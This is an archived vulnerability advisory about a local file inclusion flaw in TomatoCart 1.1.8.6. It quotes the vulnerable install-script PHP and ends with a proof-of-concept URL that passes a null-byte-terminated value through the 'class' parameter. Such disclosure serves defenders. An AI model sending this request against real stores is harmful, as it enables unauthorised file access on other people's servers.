exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

TomatoCart 1.1.8.6 Local File Inclusion

TomatoCart 1.1.8.6 Local File Inclusion
Posted Feb 15, 2014
Authored by TUNISIAN CYBER

TomatoCart version 1.1.8.6 suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
SHA-256 | 0db04e2aa39556df8a1625587d835afcc627d919a44f82e78ca794ed5802b291

TomatoCart 1.1.8.6 Local File Inclusion

Change Mirror Download
[+] Author: TUNISIAN CYBER
[+] Exploit Title: TomatoCart 1.1.8.6 Local File Inclusion Vulnerability
[+] Date: 14-02-2014
[+] Category: WebApp
[+] Tested on: KaliLinux
[+] Vendor: http://www.tomatocart.com/
[+] Friendly Sites: na3il.com,th3-creative.com

1.OVERVIEW:
TomatoCart 1.1.8.6 (old versions too) suffers from a LFI Vulnerability.
More Info about LFI:
https://www.netsparker.com/local-file-inclusion/

2.Background:
TomatoCart is open source ecommerce solution developed and maintained by a number of 64,000+ users from 50+ countries and regions.
It's distributed under the terms of the GNU General Public License (or "GPL"),
free to download and share.
The community, including project founders and other developers,
are supposed to work together on the platform of TomatoCart, contributing features, technical support and services.
http://www.tomatocart.com/about-us/about-tomatocart.html

3.Vulnerability:
File : /install/rpc.php Lines:21--->44
[PHP]
if (isset($_GET['action']) && !empty($_GET['action'])) {
switch ($_GET['action']) {
case 'dbCheck':
$db = array('DB_SERVER' => trim(urldecode($_GET['server'])),
'DB_SERVER_USERNAME' => trim(urldecode($_GET['username'])),
'DB_SERVER_PASSWORD' => trim(urldecode($_GET['password'])),
'DB_DATABASE' => trim(urldecode($_GET['name'])),
'DB_DATABASE_CLASS' => trim(urldecode($_GET['class']))
);

$osC_Database = osC_Database::connect($db['DB_SERVER'], $db['DB_SERVER_USERNAME'], $db['DB_SERVER_PASSWORD'], $db['DB_DATABASE_CLASS']);

if ($osC_Database->isError() === false) {
$osC_Database->selectDatabase($db['DB_DATABASE']);
}

if ($osC_Database->isError()) {
echo '[[0|' . $osC_Database->getError() . ']]';
} else {
echo '[[1]]';
}

exit;
break;
[PHP]

4.Proof Of Concept:
127.0.0.1/install/rpc.php?action=dbCheck&class=LFI%00

5.Solution(s):
No Patch was released.
Delete "/install/" Folder.
Use another ShoppingApplication.

6.TIME-LINE:
2014-02-13: Vulnerability was discovered.
2014-02-13: Contact with vendor.
2014-02-14: No Reply
2014-02-14: Vulnerability Released

7.Greetings:
Xmax-tn
Xtech-set
N43il
Sec4ver,E4A Members
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close